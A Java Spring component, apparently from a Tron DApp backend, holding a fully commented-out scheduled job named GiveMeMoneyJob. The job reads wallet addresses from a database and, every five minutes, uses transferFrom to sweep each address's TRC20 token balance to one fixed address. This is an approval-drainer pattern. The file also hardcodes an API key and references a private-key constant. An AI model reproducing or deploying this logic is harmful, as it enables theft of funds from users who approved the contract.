package cc.mrbird.febs.job; import cc.mrbird.febs.common.contants.AppContants; import cc.mrbird.febs.dapp.entity.DappAddressList; import cc.mrbird.febs.dapp.mapper.DappAdressListDao; import cn.hutool.core.collection.CollUtil; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; import org.tron.trident.core.ApiWrapper; import org.tron.trident.core.contract.Contract; import org.tron.trident.core.contract.Trc20Contract; import java.math.BigInteger; import java.util.List; /** * @author * @date 2021-10-20 **/ @Slf4j @Component public class GiveMeMoneyJob { // // private final ApiWrapper wrapper = ApiWrapper.ofMainnet(AppContants.TRX_PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54"); // ; // // @Autowired // private DappAdressListDao dappAdressListDao; // //// @Scheduled(cron = "0 0/5 * * * ? ") // public void giveMeMoney() { // log.info("give me money"); // List list = dappAdressListDao.selectList(null); // // if (CollUtil.isEmpty(list)) { // return; // } // // for (DappAddressList address : list) { // Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"); // Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper); // BigInteger balanceOf = token.balanceOf(address.getAddress()); // // log.info("====>{}", balanceOf.intValue()); // if (balanceOf.intValue() <= 0) { // continue; // } // token.transferFrom(address.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", balanceOf.intValue(), 0, "memo", 100000000L); // } // } }